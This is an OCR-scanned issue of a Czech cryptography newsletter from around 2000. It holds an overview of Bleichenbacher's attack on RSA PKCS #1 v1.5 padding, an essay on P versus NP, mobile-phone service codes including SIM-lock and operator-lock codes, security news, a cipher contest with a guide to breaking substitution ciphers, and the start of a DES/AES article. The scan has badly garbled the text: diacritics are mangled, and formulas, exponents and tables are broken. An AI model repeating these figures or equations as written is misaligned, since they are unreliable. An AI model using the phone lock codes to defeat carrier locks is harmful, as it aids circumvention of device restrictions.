délku £ bajta, tj.

256" < n < 256,

Zprava po vlozeni doplitku vypada nasledovné:

d{00,02, PS,00, zprava} ,
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kde PS je onen dopln¢k, ktery musi byt nejéné 8 bajti dlouhy a zapis je proveden tak, Ze
nejméné vyznacny bajt je vpravo.

Pravdépodobnost, Ze ndhodnd zprava ma dopln€k, ktery vyhovuje PKCS je dana
vyrazy

0.18%2'% < Prob(P) < 0.97%2°%

tj. zpravy s dopliky, které vyhovuji PKCS lze nalézt metodou pokusii a omylt. Vlastni utok
ma pak tfi faze, které autor oznacil jako oslepeni, fdze ukdzkova a rychld faze (blinding, show
phase and fast phase).

V prvni fazi jsou ndhodné vytvaiena S, az se podati najit takové S, aby
CS*modn = C,

vyhovovalo PKCS (tato faze je nutnd pii vytvareni podpisu, pfi desifraci ji lze vynechat). Po
ukonceni této faze mame pro M, = MS nasledujici nerovnosti

2%256"2-1 < M, = MS < 3*256"

V druhé fazi jsou hledana malé ¢isla S; tak, aby C.S; bylo PKCS vyhovujici. Takto ziskdme
dalsi upfesniujici nerovnosti pro M, . V tieti fazi jiz vime, ze M, lezi v dostatecné¢ malém
intervalu a je provadén postup, ktery umozituje dale tento interval zmenSovat (v kazdém
kroku je interval zhruba rozdé€len na polovinu). Podrobnosti Ize nalézt v lit. [3].

Napt. pro modul RSA v délce 1024 bith utok vyzaduje zhruba 1 000 000 volenych
Sifrovych textii (kupodivu pro modul v délce 1025 bith staci dokonce méné nez 10 000 téchto
Sifrovych textil). Obdobny tutok lze zformulovat i proti jinym analogickym protokolim jako
SSL v.3.0. patch, atd.

oy ee

opatfeni proti vyse popsanému utoku. V normé jsou popsana dvé Sifrovaci schémata nové
RSAES-OAEP a star¢ RSAES-PKCS-v1.5. Staré schéma je doporucovano pouze v téch
aplikacich, kde je nutné zachovat kompatibilitu se stavajicim feSenim. Pro nové aplikace je
uréeno schéma RSAES-OAEP. Toto Sifrovaci schéma zabezpecCuje, ze je vypocetné
neuskutecnitelné ziskat plnou ¢i CasteCnou informaci o zpraveé ze Sifrového textu a Ze je
vypocetné nemozné vygenerovat platny Sifrovy text bez znalosti odpovidajici zpravy.
Podstatou metody je specialni predbézné zakddovani oteviené¢ho textu (podrobnosti v normé —
lit. [2]). Soucasnd podoba normy zahrnuje celou fadu dalSich podrobnosti, které jsou spojeny
jednak s témito kodovacimi metodami, jednak s popisem podpisovych algoritmi s vyuzitim
RSA.

Literatura

[1]J. Pinkava: Zaklady kryptografie VII. Co nového ve svété kryptografie? (Bulletin
AEC 1999, http://www.crypto.aec.cz : Publications),
[2] http://www.rsasecurity.com/rsalabs/pkcs/
[3] Daniel Bleichenbacher: "Chosen Ciphertext Attacks against Protocols Based on RSA
Encryption Standard PKCS #1" in Advances in Cryptology — CRYPTO'98, LNCS vol.
1462
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D.P=NP aneb jak si vydélat miliony
Mgr. Pavel Vondruska (NBU)

Kdo by nechtél zbohatnout? Zbohatnout se d4 nejen hokejem, tenisem, fotbalem, ale
dokonce 1 matematikou. Nevéfite? Takovou moznost skytd nalezeni feSeni jednoho
matematického problému z teorie sloZitosti, ktery tzce souvisi se soucasnou kryptologii. O co
jde?

Zatnéme na matematické konferenci v Pafizi 24.5.2000. Podobné jako pied sto lety
(8.8.1900), kdy David Hilbert vyhlésil program feSeni otevienych problém, tak i na této
konferenci CMI (Clay Mathematics Institut of Cambridge) vyhlasSuje sedm matematickych
problémil tisicileti - "Millennium Prize Problems". Tentokrate je vSak pfipraven i fond se
sedmi miliony dolary. Za feSeni kazdého z problémt je vypsana odména jeden milioén dolarii!
Vseobecné se neoCekavd, ze budou vyplaceny pfili§ brzy. Prvni z problémid ma velice
jednoduchy nazev: "P versus NP". Vzhledem k uzkému vztahu ke kryptologii se timto
problémem budeme trochu zabyvat.

Problém vychazi z teorie slozitosti. Slozitost algoritmu je obecné ddna vypocetnim
vykonem narokovanym pro jeho realizaci. Casto se hodnoti dvéma proménnymi - ¢asovou
nebo prostorovou naro¢nosti. Obecné se vypocetni sloZitost algoritmu vyjadfuje "velkym" O -
fadem (Order) - hodnoty vypocetni slozitosti. Bude-li naptiklad T=O(n), pak zdvojnasobeni
velikosti vstupu zdvojnasobi dobu zpracovani; takovy algoritmus nazveme linearni. Je-li
slozitost na n nezavisla, piSeme O(1). Doba zpracovani algoritmu se pii zdvojnasobeni vstupu
nezméni. Bude-li T=0 (2"), pak zvé&tSeni velikosti vstupu o 1 bit prodlouzi dobu zpracovani
na dvojnasobek. Algoritmy mohou byt z hlediska slozitosti kvadratické, kubické apod.
Vsechny algoritmy typu O(n™), kde m je konstantni, se nazyvaji polynomialni. Tfida P potom
obsahuje vSechny algoritmy, které mohou byt feSeny v polynomidlnim case. Algoritmy,
jejichz slozitost je O(t"™), kde t je konstanta vétsi néZ jedna a f(n) n&jaka polynomialni funkce
proménné n, se nazyvaji exponencidlni. Podmnozina exponencidlnich algoritmt, jejichz
sloZitost je fadu O(c™), kde ¢ je konstanta a f(n) >c , ale f(n) je méné nez linearni funkce,
jsou nazyvany superpolynomialni algoritmy.

Ttida Slozitost | Vyzaduje # operaci pro n= 10° | Doba zpracovani pti 10° op/s
Konstantni o(1) 1 1 mikrosecunda

Linearni O(n) 10° ls

Kvadraticka  |O(n”) [10" 12 dni

Kubické omn’) |[10™ 32 000 let

Exponencialni | O(2") 1071030 10°"1%% ngsobek stafi vesmiru

(Tabulka z prace Doc.Staudek, Kryptografie a bezpe¢nost, LANcom, 1997)

Vyse definované tfidéni a pfislusnd terminologie vznikaly postupné. Nami uvedené
rozdeleni zavedl v roce 1960 Cobham, ale jiz napt. v roce 1953 rozliSoval Neumann mezi
algoritmem feSitelnym v polynomialnim ¢ase a algoritmem feSitelnym v exponencidlnim case.
Pro uplnost uvedeme jesté Casto pouzivany termin "dobry algoritmus", ktery zavedl Jack
Edmonds (1965). Podle néj je dobrym algoritmem, kazdy algoritmus proveditelny v nejvyse
polynomidlnim cCase.
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V roce 1936 definoval Alan Turing kone¢ny automat s nekone¢nou cteci-zapisovaci
paskovou paméti. Ctendf si miZe predstavit klasicky domaci pocitag, ale roziifeny o
nekonecnou pamét. Takovyto koneény automat se dnes nazyva Turingiv stroj. Tiidu NP
definujeme jako vSechny problémy, které mohou byt feSeny v polynomidlnim case pouze
nedeterministickym Turingovym strojem: tj. variantou normalniho Turingova stroje, ktera
mize provadét odhady. Stroj odhaduje feSeni problémi - bud’ tak, ze metodou pokust hada
spravné feseni nebo mu je predava néjaké orakulum nebo tak, ze paralelné provede vSechny
pokusy - a vysledky téchto pokust provétuje v polynomidlnim case.

Typickou tlohou fesitelnou nedeterministickym polynomidlnim algoritmem je uloha
splnitelnosti Booleovského vyrazu. Pokud zndme spravnou hodnotu, Ize ji v polynomidlnim
case (dosazenim spravnych hodnot za jednotlivé proménné) ovéfit. Kryptologovi je pak
samoziejme blizsi jiny piiklad - utok na kryptograficky algoritmus. Pfi zadaném Sifrovém
textu M kryptoanalytik prosté hada otevieny text X a kli¢ K a v polynomidlnim ¢ase neché
zpracovavat Sifrovacim algoritmem vstup X a K a provéfuje pifipadnou shodu vysledku s
textem M.

Ttida NP zahrnuje tfidu P, protoze jakykoliv problém feSitelny v polynomidlnim case
deterministickym Turingovym strojem je také feSitelny v polynomialnim case
nedeterministickym Turingovym strojem. Jestlize vSechny problémy NP jsou také feSitelné v
polynomidlnim c¢ase deterministickym strojem, pak NP=P. Otazka platnosti P=NP je
ustfednim nevyfeSenym problémem teorie vypocetni slozitosti. Poznamenejme, Ze hodné
védct, kteti se zabyvaji teorii slozitosti vefi, ze rovnost neplati. Kdyby nékdo prokézal, Ze
P=NP, pak bychom vétSinu toho, na ¢em je zaloZena soucCasna moderni kryptologie, mohli
odepsat. Znamenalo by to, ze pro vSechny symetrické problémy existuje kryptoanalyticky
(lustitelsky) algoritmus, ktery je Casové polynomialni. Pro lepsi pochopeni jen podotkneme,
ze utok hrubou silou je "nesrovnatelné" horSi - jeho slozitost je superpolynomialni. V
takovém pfipadé¢ by naSe neschopnost feSit algoritmy typu 3DES a algoritmy AES v
rozumném ¢ase znamenala jen to, Ze se ndm zatim nepodafilo najit vhodny lustici algoritmus.

Nyni piejdéme k dilezité tfidé NP-uplnych problémt. Teorie NP-tplnosti ma kofeny
jiz v roce 1930 v pracech Turinga, Godela, Churche a dalSich. Zakladni praci bylo dilo
Stephena Cooka - "The complexity of theorem-proving procedures" z roku 1971. V této praci
se Cook zabyva problémem uspokojivosti ("problem Satisfability") a jeho specidlnim
pfipadem zvanym 3-SAT (spociva v provéfeni moznosti existence kombinace pravdivych a
nepravdivych hodnot logickych proménnych tak, aby celkovy logicky vyraz byl pravdivy. 3-
SAT pak povoluje jen logicky vyraz ur¢itého tvaru - logické konjunkce trojic logickych
proménnych (véetné jejich negaci) spojenych disjunkci. V pfiloze 1 je uveden vysvétlujici
piiklad. S.Cook dokézal, Ze tento problém (z tfidy NP) je stejné€ obtizny jako ostatni problémy
téze tfidy. To by znamenalo, ze pokud je problém uspokojivosti fesitelny v polynomialnim
Case, tak P=NP ! Naopak, jestlize se o néjakém problému tfidy NP d4 dokdzat, ze pro n¢j
neexistuje deterministicky ¢asové polynomidlni algoritmus - tak ani pro problém
uspokojivosti nebude takovyto algoritmus existovat. Jinymi slovy S.Cook dokézal, ze Zadny
problém v tfidé NP neni slozitéjsi nez problém uspokojivosti. V roce 1972 nasel matematik
Karp 20 dalsich NP - uplnych problému - uloh, které jdou ptrevést redukei v polynomidlnim
case na problém uspokojivosti. V roce 1979 Michael Garey and David Johnson ve své praci
"Guide to the Theory of NP-Completeness" uvedli jiz 300 takovych tloh. Mezi tyto Glohy
patii mimo jiz popsany problém uspokojivosti - tloha "baleni zavazadla" (knapsack), tloha
vytvafeni koalic (teorie grafi1), problém obchodniho cestujiciho atd. Ulohy v této mnoziné se
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nazyvaji NP-uplné problémy a pravé ony pravdépodobné sehraji rozhodujici tlohu ve
vyfeseni problému P=NP.

Mate vyfeSeno ? Chcete dalsi milion dolarti ? Dobra, zde je dalsi souvisejici uloha. Je
znamo né¢kolik zajimavych uloh, u nichZ se nevi, zda jsou P nebo NP. Nejznaméjsi je otazka
faktorizace Cisel. Specialné Miller v roce 1976 dokézal, Ze otdzka prvociselnosti Ize fesit v
polynomialnim ¢ase ( G.L.Miller. Riemann’s hypothesis and tests for primality. J.Comput.
Systém Sci, 1976)! OvSem v dikazu pfedpokladal, ze plati Riemannova hypotéza. Miller
ukazal, ze kazdé slozené &islo n ma vtakovém piipadé nejvys 70*(In n)’ tzv svédka
prvociselnosti. Pravé dikaz Riemannovy hypotézy je Ctvrtym problémem ze souboru
Milennium Prize Problems vyhlasenym CMI. Staéi tuto hypotézu dokazat a mate dalsi milion

dolart v kapse.

Komu nestaci tyto dva miliony, mize se pokusit vytesit zbyvajicich pét problémi. Zadani a
presna pravidla najdete na adrese : http://www.claymath.org/prize _problems/index.htm .

Ptiloha 1:

Vysvétlujici priklad pojmu 3-SAT problému

Tento ptiklad je pfevzat z prace Stephen Cooka - The P versus NP Problem .

Urcete mozné pravdivostni hodnoty proménnych P,Q,R,S tak, aby nésledujici vyraz byl
pravdivy ( vyraz byl uspokojen volbou pravdivostnich hodnot proménnych P,Q,R,S) -
PVvQVR)A(PVQYV R)A(PV QvS)A(PVv Rv S).

Vyraz je pravdivy napf. je-li pravdivostni hodnota P=Q = 1 (pravda) a pravdivostni hodnota
R=S=0 (nepravda) . Pro tyto hodnoty P,Q,R,S je zadany vyraz "uspokojen" . Nasli jsme feSeni
problému. Rikame, Ze problém byl "uspokojen" volbou hodnota P=Q = 1 , R=S=0 .

Vsechny problémy podobného tvaru:

"logické konjunkce trojic logickych proménnych (véetné jejich negaci) spojenych disjunkci"”
budeme nazyvat 3-SAT ulohou.

Ptiloha 2:
Millennium Prize Problems

1. Pversus NP

2. The Hodge Conjecture

3. The Poincaré Conjecture

4. The Riemann Hypothesis

5. Yang-Mills Existence and Mass Gap

6. Navier-Stokes Existence and Smoothness

7. The Birch and Swinnerton-Dyer Conjecture
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E. Hrajeme si s mobilnimi telefony (tipy a triky)

Téchto nekolik typi a triki navazuje na ¢lanek v Crypto-Worldu 3/2000, ktery byl
vénovan predevS§im moZnostem mobilnich telefonii od firmy NOKIA a ve kterém najdete
vysvétleni nékterych pojmil. Zde je uveden pouze zakladni piehled moznosti mobilnich
telefonli od rlznych vyrobcl. Vétsina téchto informaci je bézné dostupna na Internetu na
strankéch, které jsou vénované odblokovani mobilnich telefont.

Alcatel IMEI : *#06#
Verze software: *#06#
Net Monitor: 000000*
Bosch IMEI: *#06#
Jazykova verze: *#0000#
Net Monitor: *#3262255*%8378#

Dancall IMEI : *#06#
Verze software : *#9999#
Ericsson 6xx/7xx/8xx IMEI : *#06#

Verze software: > * << * < *
Ericsson T10/T18/T28 IMEI : *#06#
Verze software: > * << * < *
Jazykova verze: < 0000 >
Ericsson A1018S IMEI : *#06#
Verze software: > * << * < *
Jazykova verze: <0000 >
Philips IMEI: *#06#
Simlock info: *#8377#
Bezpecnostni kod: *#1234# (Fizz) nebo *#7489#
Siemens C25 IMEI: *#06#
Verze software (bez SIM v MT) :
*#06# a stiskni dlouhou klavesu
NOKIA 51xx IMEI: *#06#
Verze software: *#0000#
Simlock info: *#92702689#
Enhanced Full Rate: *3370# [#3370# off]
Half Rate: *4720#
Simlock-operatora: #pw+1234567890+1
Zamek sité operatora #pw+1234567890+2
Simlock-operatora: #pw+1234567890+3
SimCard lock status: #pw+1234567890+4
NOKIA 61xx IMEI: *#06#
Verze software: *#0000#
Simlock info: *#92702689#
Enhanced Full Rate: *3370# [#3370# off]
Half Rate: *4720#
NOKIA 3110 IMEI: *#06#
Verze software: *#0000# nebo *#9999# nebo *#3110#
Simlock info: *#92702689#
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F. Letem Sifrovym svétem

1. Ralf Senderek publikuje 22.8.2000 studii vénovanou kli¢im v PGP. Ze zavérh této prace
vyplyva slabost ADK klice v PGP verzich 5.x a 6.x . Firma NAI bezpecnostni problém
uznéava a oznamuje distribuci ptislusnych Hotfixu.

( http://senderek.de/security/key-experiments.html , http://cryptome.org/pgp-adkfix.htm )

2. Student Onela de Guzmana (24), autor "popularniho" viru I love-you, byl zprostén vSech
obvinéni. Virus letos v kvétnu napachal nékolikamiliardové Skody. Autor byl brzy
odhalen a zat¢en. Na Filipinach vSak neexistuje "vhodny" trestny ¢in, ze které¢ho by mohl
byt Onela obvinén. Pfed soud stanul pro obvinéni ze zlo¢inti na Filipinach znamych a to
za kradez a za poruSeni zdkona o neopravnéném pouziti kreditnich karet. Pro tyto trestné
¢iny nebyl predlozen dostatek dikazt, a proto byl Onela de Guzman zprostén vsech
obvinéni.

3. Netscape sleduje své uzivatele!!! (tecChannel,Némecko-soucast sit¢ IDG, anglicka verze
¢lanku je dostupna na adrese http://www.tecchannel.de/internet/469). Koncem Cervence a
zacatkem srpna se v mnoha nezavislych zdrojich objevila nésledujici informace. Netscape
shromazd’'uje data o vaSich downloadech (EXE a ZIP)! Spole¢nost AOL (vlastnici
Netscape) muze sledovat vaSe veskrze privatni aktivity. Bezprostfedné po instalaci
Netscape Communicator produktu je na servery Netscape odeslana bez védomi uZivatele
informace o instalaci a urceni cookies umoziujici unikatni identifikaci uzivatele. Nasledné
pouziti SmartDownload pouzZivd prav€é tuto cookie a odesild informace na
cgi.netscape.com server - sdélované informace zahrnuji jméno souboru, IP adresu a
unikatni identifikator. Pokud uZivatel navic pouziva Netcenter portal, SmartDownload
navic pfenasi i e-mail adresu uzivatele.

4. Vlastnite operacni systém Solaris 8 platformu pro SPARC nebo INTEL ?
Pokud ano, pak vam firma Sun microsystems pripravila mily darecek. V ramci uvolnéni
vyvozu silné kryptografie je mozné stdhnout z jejich serveru "solaris data encryption
pack" ( http://www.sun.com/software/solaris/encryption/download.html ).
Obsahuje : Authentication Management Infrastructure, Kerberos V5, Utilities, On line
manual . Podporuje *DES «3DES +Kerberos 5 *DESHASH.

5. Znamy americky kryptolog William Friedman zazadal v roce 1933 o patent na Sifrovaci
zatizeni podobného typu jako Enigma. Americky patentovy ufad mu udélil tento patent az
v srpnu tohoto roku... Zda se, Ze patent byl vyuzit pfi stavbé amerického Sifratoru M-229
nebo snad M-134a
http://www.patents.ibm.com/details?&pn=US06097812 _ &s_all=1

6. Kevin Mitnick (viz Crypto-World 2/2000) vyucuje "socialni inzenyrstvi":
http://www.zdnet.com/zdnn/stories/news/0,4586.2604480.00.html
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7.

8.

10.

I11.

Obtézuje Vas spam ? Nabizi vam stale nékdo, jak si vydélat penize za brouzdani na
Internetu, jak ziskat diplom na zahrani¢ni univerzitg, zapis do knihy "Who is who?" atd.
Vite, kam poslat informace o takto obtézujicich spolecnostech ¢i jedincich ? Staéi poslat
e-mail, o kterém se domnivate, Ze je to spam na adresu spamcop@spamcop.net , piipadné
na abuse@ten_server . Zde je vase podezieni provéieno a v piipadé, Ze se jedna o spam, je
rozesilani téchto e-mailt z uvedené adresy zablokovano.

USA vyhlasuje nova pravidla v oblasti kryptologie:
http://www.wired.com/news/politics/0,1283.37617.00.html
Sdéleni Bilého domu : http://cryptome.org/us-crypto-up.htm

O tom, jak napsat dokonaly virus, se miZete docist v nasledujicim zajimavém c¢lanku:
http://www.hackernews.com/bufferoverflow/99/nitmar/nitmar1.html

Firma T-SOFT s.r.o. (systémovy integrator v oblastech: krizového managementu,
interoperability, bezpecnosti, tvorby specidlnich softwarovych celkl na zakézku) zacala
rozesilat informace zajemciim o informac¢ni bezpe¢nost. Rozesilany jsou rizné aktuality a
informace o novinkach spole¢nosti T-SOFT. Tento zpravodaj nejlépe piedstavi obsah jeho
srpnového Cisla (14/8/2000).
Zpravodaj T-SOFT - Bezpecnost

1. Bezpecné VPN a standard FIPS 140-1

2. Protokol IPSec

3. Technologie PKI a VPN

4. IRE integroval ¢ipové karty Datakey do sveho SafeNet VPN klienta

5. RSA Security certifikovala PKI ¢ipovou kartu Datakey jako "RSA Keon Ready"
PtihlaSku k odbéru zpravodaje Ize zaslat na obchod@tsoft.cz . Vytizuje Daniel Grunt.

O ¢em jsme psali pred rokem ?

Crypto-World 9/99

A .Novy Sifrovy standard AES

B.O novém bezpec¢nostnim problému v produktech Microsoftu
C.HPUX a UNIX Crypt Algoritmus
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A. Soutéz
Mgr. Pavel Vondruska (NBU )

1. Pravidla soutéze

Soutéz probihd ve Ctyfech kolech. V seSitech 9/2000 az 12/2000 je uveiejnéna jedna
soutdzni tiloha a sou¢asné je uveden doprovodny text k dané uloze. Regitelé, kteti zaglou do
data, které¢ bude u kazdé ulohy uvedeno, spravné feseni, budou slosovéni a dva vybrani ziskaji
cenu kola. I po tomto datu vSak lze spravna tfeseni dale zasilat. Dne 15.12.2000 bude soutéz
ukoncena a z fteSiteltl, ktefi ziskali nejvice bodl, bude vylosovan celkovy vitéz. Celkovym
vitézem se tedy mtiZze stat 1 ten soutézici, ktery se zapoji do soutéze pozdé€ji, napt. az v
prosinci, a feSeni vSech uloh odesle najednou v ¢asovém limitu do 15.12.2000; piijde jen o
moznost byt vylosovan jako vitéz kola. Dne 20.12.2000 vyjde specidlni ¢islo, ve kterém
budou uvedena fesSeni tloh ze vSech kol a jméno celkového vitéze; uverejnime také mensi
statistiku k celé soutézi. Ceny do soutéze veénovaly firmy PVT a.s. a AEC spol. s r.o.
(jednotliva kola), Globe CZ (cena pro celkového vitéze). Cenami v jednotlivych kolech je
registrace vasSeho vetejného klice u certifikacni autority zdarma (I1x u PVT , 1x u AEC). Jde o
poskytnuti certifikatu s nejvyssim bezpecnostnim stupném ochrany na dobu 6 mésict (cena
cca 300,- K¢). Celkovou cenou je registrace domény prvniho fadu + hosting na webu u firmy
GLOBE CZ (v bézné hodnoté 5000,- K¢).

Reseni tiloh zasilejte pomoci komunikaéniho okna v oddilu - "P¥ihlaska k odbéru
sesitu Crypto-World, pfipominky, dotazy, soutéz" na URL adrese
http://www.mujweb.cz/veda/gcucmp/ . VaSe anonymita je zarucena. Uvedena budou pouze
celd jména jednotlivych vitézi (nebo bude-li si to doty¢ny ptat, pak misto jména jeho e-mail
adresa, ptipadné pouze pseudonym).

2. Stav po L.kole

Pseudonym | Lkolo II.kolo II1.kolo IV kolo CELKEM
datum /bodti |datum /bodi |datum/bodu | datum/bodu

7M. 12.9/10

Mirek S. 12.9/10

Petr T. 12.9/10

Bohumir S.  [12.9/10

Martin K. 12.9/10

FrantiSek K. [12.9/10

Tomas V. 13.9/10

Jan J. 13.9/10

Josef D. 18.9/10

Honza K. 18.9/10

Vasek V. 2.10/10

Michal B. 4.10/10

Lada R. 4.10/10

Legenda : cena : certifikat u AEC
cena : certifikat u PVT

Soutéze se v Lkole zucastnilo vice jak 5% ctendit naSeho e-zinu (13). VSichni
soutezici nalezli na strankach GCUCMP ukryty text délky 25 znakt a ziskali po 10 bodech do
dlouhodob¢é soutéze. Vzhledem k pravidlim na$i soutéze nemizu jeSté prozradit, kde se
hledanych pét skupin po 5-ti znacich skryva. Kazdy totiz mé stale moznost zaslat spravné
feSeni, aby tak mohl jest¢ zasahnout do boju o hlavni vyhru - registraci domény. Presny popis,
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kde lze ptislusné skupiny najit, bude uveden ve zvlastnim ¢isle 20.12.2000. Vitéztim (panové
Mika a Vangk) jesté jednou blahopteji. Dalsi informace, jak postupovat pii "vyzvednuti"
vyhry, ptijdou v nejblizsich dnech (po skonceni Invexu) na Vasi e-mailovou adresu.

Cast II. - Jednoducha zaména

'''''

systém. Patii mezi tzv. zdménné Sifrové systémy. Ty jsou zaloZeny na zdméné kazdého
otevieného znaku za jeden nebo n€kolik Sifrovych znakl. Mimo jednoduché zadmény do této
kategorie tedy patii zamény typu vice moznych Sifrovych znakl za jeden otevieny znak
(snaha setfit charakter oteviené zpravy), systém Vigenere (pouzivano 26 riznych Sifrovych
abeced, které¢ se behem Sifrovani sttidaji) a rizné dalsi modifikace.

Priklad

Sifrova abeceda resp. $ifrové znaky pfi jednoduché zamén& mohou byt tvofeny stejnymi
znaky, jaké pouziva otevieny text, ale mohou byt tvofeny i ¢islicemi nebo jinymi obrazci.

A/B|C|D|E|F |G/H|I |J |[K|IL M|IN|O|P |Q|R|S|T|U |V WX |Y |[Z
K|C|I |O|B|[VIHIDIR|O|J |[Q|U|S |Z]|A|E|F M| X|L |G|W|N T |Y
1 1216 (317 (0|4 |5 |81|82(83|84|85(86|87|88|89[90({91/92(93|94|95]|96 (97 |98
g (8| s |=|=]d [P || O || |2 B[R |> &6 % |F |F ¢ [ & |C
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IFTAX ZWZFQ O

69097 88928 79587 90843
Lg% [HeRpNO 9

Jednoducha zaména neni bezpeCnym Sifrovym systémem, protoze vérné reprodukuje
charakteristické znaky oteviené¢ho textu. Jedna se pfedevSim o opakovani skupin znakl a
souhlaskové vztahy.

LuSténi

Po ovéfeni, ze jde o jednoduchou zdménu (frekvence znakii odpovida frekvenci znaki
oteviené abecedy v predpokladaném pouzitém jazyce, zachovany jsou samohlaskové vazby,
vyskytuji se delsi opakovani, ...), se mizeme dat do luSténi. Prvni ¢ast - vypocet frekvencni
analyzy Sifrového textu a jeji vyuziti - je popsana v ptiloze k minulému c¢islu - GOLD BUG.
V praxi ndm déale mimo prosté frekvence znakli pomahd vyuziti dalSich vlastnosti otevieného
textu.

Dle frekvence vybereme nécktery z nejcetnéjSich znakl (pravdépodobné to bude
pismeno E nebo jina samohlaska) a podivame se, zda tvoii samohlaskové vazby. Pokud ano,
predpokladédme, Ze se jednd o samohlésku, a takto postupujeme dale.

K ovéfeni samohlaskovych vazeb se vyuziva predevSim d€lba na samohlasky a
souhlasky. Zde se vyuziva nésledujicich zndmych skutecnosti : samohlasky se souhldskou se
pravideln¢ stfidaji, dvé samohlasky se uprostied slova vedle sebe téméf nevyskytuji, pismeno
R se chova v souhlaskovych vazbach jako samohlaska. S vyhodou se daji vyuZit nékteré Ceské
souhlaskové bigramy, které maji charakteristické vlastnosti takového razu, ze je Ize zpravidla
snadno odhalit PR, ST, CH (viz maly tahac¢ek pro lusténi jednoduché zamény). Dobrym
voditkem je i odhaleni nejcetnéjsiho trigramu STR.

Pti dostate¢né délce textu by neméla byt jednoducha zdména pro lustitele problémem.
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Zadani ukolu cislo dvé

Spravné teSeni je ohodnoceno opét deseti body. Jedna se samoziejmé o vylusténi Sifrového
textu (systém jednoduchd zdmeéna). Text je v CeStin€, v mezindrodni abeced¢ (bez hacki a
carek) a bez mezer, je rozdélen do skupin po 5-ti znacich. Jedna se o bézny text dostate¢né
délky a neobsahuje zadna nezvykld nebo matouci slova. Text bude vyvéSen od pondéli
15.10.2000 (21.00 hod) na adrese http://www.mujweb.cz/veda/gcucmp . Losovani cen pro
tesitele II.kola bude 6.11.2000.

Doporucena literatura :

V Klima : Kédy, komprimace a Sifrovani, Chip , inor 1993, str.24-28

(vénovano i lusténi jednoduché zameény)

Lze také vyhledat (v elektronické podobé¢, jpg) v rozsahlém archivu (170 MB) na adrese :
http://www.decros.cz/Security _Division/Crypto_Research/publikace.htm

Maly tahacek pro lusténi jednoduché zamény

a) Poradi hlasek v ¢eStiné :
E’O’A’I’N’S3T’R’V3U’L’Z3D’K,P9M3C’Y,H’J’B’G9F9X3W’Q

b) Poradi hlasek v ¢eStiné na zacéatku slov:
PS,V,Z,N,T,0,J,K,D,A,B,M,R,U,C,LLH,E,L,F,G,W,Y,Q,X

¢) Poradi hlasek v ¢eStiné na zacatku slov:
E’I’A’O’U,Y9M’T’H’V’L7K,S’Z9D’N’R’C7J,B’P,G’F’W,X’Q

d) Bigramy
ST, PR, SK, CH, DN, TR

e) Zvlastnosti frekventnich souhlaskovych bigrami v ¢eStiné
ST: - SaT mapfiblizné stejnou frekvenci
- existuje i bigram TS
je soucasti velkého poctu souhlaskovych trigrami STR, STN, STL, STV ...
vyskytuje se uprostred i na konci slova

PR: - P mad piiblizné polovi¢ni frekvenci nez R
- obraceny bigram RP se téméf nevyskytuje (chrpa)
- zpravidla nelze rozsitit "dozadu" na souhlaskovy trigram (PRV)
- lze rozsifit dopfedu na samohlaskovy trigram (SPR, ZPR, ...)
- zpravidla stoji na pocatku slov
CH: - H ma jen o néco mensi frekvenci nez C (pfi kratkych textech nemusi platit)
- byva zpravidla na konci slov spolu se samohlaskami Y,I,A,E (YCH, ICH, ACH,
ECH)

vétSinou plati : predchézi-li CH souhléska, nasleduje po ném samohlaska a naopak
(OBCHOD, NECHTEL)

f) Trigramy

PRO, UNI, OST, STA, ANL, OVA, YCH, STL PRI, PRE, OJE, REN, IST, STR(nejb&zngjsi
souhlaskovy trigram !) , EHO , TER, RED, ICH, ...
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B. KRAL DES JE MRTEV - AT ZIJE KRAL AES!
Mgr. Pavel Vondruska ( NBU )

I. Uvod

Americky Sifrovy standard DES je standard pro Sifrovani senzitivnich nikoliv
klasifikovanych (utajovanych) udaji v americké statni spravé a fakticky ptebrany Sifrovy
standard pro cely "pocitacovy svét". Pres obrovske usili kryptologli celého svéta se nepodatilo
najit analyticky utok (napf. nové utoky linearni, diferen¢ni analyzy, slide atack), ktery by
umoznil "zlomeni" tohoto algoritmu.

Co vsak nedokézali kryptologové svymi analytickymi ttoky, docilil rozvoj sily
vypocetni techniky. Vylustit Sifrovy text tzv. hrubou silou znamend, ze odzkousime vSechny
mozné kli¢e. Praveé velikost kli¢e "pouze" 56 biti se stala pro DES osudna. V roce 1993
J.Wiener z Bell Northern Research publikoval zpravu, v niZ popsal zafizeni, které vyzkousi
vSechny kli¢e DES do 7 hodin. Cenu takového zatizeni odhaduje na jeden milion dolart. V
roce 1995 se na vetejnost dostava informace, Ze NSA vlastni stroj, ktery je schopen DES
vylustit do 15 minut. Toto zafizeni sestrojila firma The Harris Corporation. Pro ty, ktefi stale
pochybovali, bylo komer¢né sestrojeno a predvedeno specidlni zatfizeni DES-cracker (1998),
které je schopno otestovat viech 2°°k1i¢t do 9 dn@i a nalézt tak piisluiné feseni.

DES musel byt nahrazen jinym standardem. Prozatimné jej NIST (National Institute of
Standards and Technology) nahradil implementaci 3DES (TripleDES). V podstat¢ se jedna o
opakované pouziti algoritmu DES. ZaSifrovani nyni probihd takto: zprava se zaSifruje pomoci
algoritmu DES a kli¢e K1, odsifruje se pomoci klice K2 a opét se zasifruje pomoci klice K3
(resp. v jiné verzi klicem K1). Délka klice se tak vlastn€ 3x (resp.2x) prodlouzila a toto feSeni
se timto stalo odolné proti utoku hrubou silou. Tento postup je popsan ve FIPS-PUB-46-3
(Federal Information Processing Standard ). Tento dokument ustavuje jako soucasné platnou
normu ob¢ vySe popsané verze algoritmu 3DES. Kryptologické vefejnosti je jasné, ze feSeni
neni optimalni (pfedev§im pro nizsi rychlost), a proto v roce 1997 NIST vypisuje vefejnou
soutéZ na vytvoreni nového komeréniho standardu pro symetrické Sifrovani.

2. Advanced Encryption Standard

Pro nazev tohoto nového algoritmu se vZzilo oznaceni AES (Advanced Encryption
Standard). Vybrany standard ma byt velice flexibilni, lehce implementovatelny, ma pracovat s
32-bitovym mikroprocesorem, 64-bitovym procesorem, ale i 8-bitovym (v tzv. rezimu smart
card). AES ma byt 128-bitova blokova §ifra, musi podporovat kli¢e délky 128, 192 a 256 bitd.
Vybér takového algoritmu, ktery je urCen pro vSechny typy aplikaci a nasazeni (klasicky
software pro PC, termindly pro elektronickou komerci, ¢ipové karty), neni opravdu lehky.
Algoritmus nesmi byt patentovan a pro vitéze je pfipravena odména - prestizni uznani
kryptologické vetejnosti - tzv. "zlaty vaviin kryptologie". Pouzivan by m¢él byt piiblizné
dvacet - mozna tficet let.

V cCervnu 1998, kdy byla stanovena uzavérka pro podani navrhu, bylo celkem

predlozeno 15 kandidati (CAST-256, CRYPTON, DEAL, DFC, E2, FROG, HPC, LOKI97,
